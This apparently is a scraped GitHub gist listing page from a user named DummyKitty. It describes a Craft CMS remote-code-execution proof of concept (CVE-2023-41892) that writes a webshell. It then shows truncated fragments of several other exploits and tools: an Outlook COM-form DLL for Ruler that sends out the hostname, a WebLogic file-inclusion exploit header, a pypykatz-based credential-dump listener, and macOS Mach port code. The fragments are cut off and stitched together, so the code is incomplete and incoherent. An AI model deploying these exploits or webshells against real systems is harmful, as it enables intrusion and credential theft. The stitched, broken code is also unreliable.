Kiyy DummyKitty

This Gist provides a Proof-of-Concept (POC) for CVE-2023-41892, a Craft CMS vulnerability that allows Remote Code Execution (RCE).

Overview

CVE-2023-41892 is a security vulnerability discovered in Craft CMS, a popular content management system. Craft CMS versions affected by this vulnerability allow attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.

POC

This POC is depending on writing webshell, so finding a suitable folder with writable permission is necessary.

	/**
	* This DLL is designed for use in conjunction with the Ruler tool for
	* security testing related to the CVE-2024-21378 vulnerability,
	* specifically targeting MS Outlook.
	*
	* It can be used with the following command line syntax:
	* ruler [auth-params] form add-com [attack-params] --dll ./test.dll
	* Ruler repository: https://github.com/NetSPI/ruler/tree/com-forms (com-forms branch).
	*
	* After being loaded into MS Outlook, it sends the PC's hostname and

	# -- coding: utf-8 --
	import hashlib
	import base64
	import requests, string, struct, uuid, random, re
	import sys
	from collections import OrderedDict
	from sys import version
	from urllib3.exceptions import InsecureRequestWarning
	requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
	# too lazy to deal with string <-> bytes confusion in python3 so forget it ¯\_(ツ)_/¯

	FROM debian:latest

	RUN apt-get update && apt-get install -y \
	git \
	build-essential \
	wget \
	python3

	WORKDIR /build

	Function Invoke-EncodeAssembly
	{
	[CmdletBinding()]
	Param(
	[Parameter(Mandatory=$true)]
	[String]
	$binaryPath,

	[Parameter(Mandatory=$true)]
	[String]

	#include <stdlib.h>
	#include <stdio.h>
	#include <pthread/pthread.h>
	#include <mach/mach.h>

	struct ool_msg {
	mach_msg_header_t hdr;
	mach_msg_body_t body;
	mach_msg_ool_ports_descriptor_t ool_ports[];
	};

	# Exploit Title: Oracle WebLogic Server 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 Local File Inclusion
	# Date: 25/1/2022
	# Exploit Author: Jonah Tan (@picar0jsu)
	# Vendor Homepage: https://www.oracle.com
	# Software Link: https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
	# Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
	# Tested on: Windows Server 2019, WebLogic 12.2.1.3.0, Peoplesoft 8.57.22
	# CVE : CVE-2022-21371

	# Description

	# This script is deprecated.
	# See https://github.com/CERTCC/CVE-2021-44228_scanner for up-to-date scanners

	#!/usr/bin/env python3

	# Usage: GetZip.py 0.0.0.0 1337 [--xor 255] --md5 --parse
	# Requirements: pip3 install tqdm pypykatz

	import os
	import socket
	import zipfile
	import hashlib
	from argparse import ArgumentParser

	import requests
	import random
	import string
	import sys
	import time
	import requests
	import urllib3
	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

	def id_generator(size=6, chars=string.ascii_lowercase + string.digits):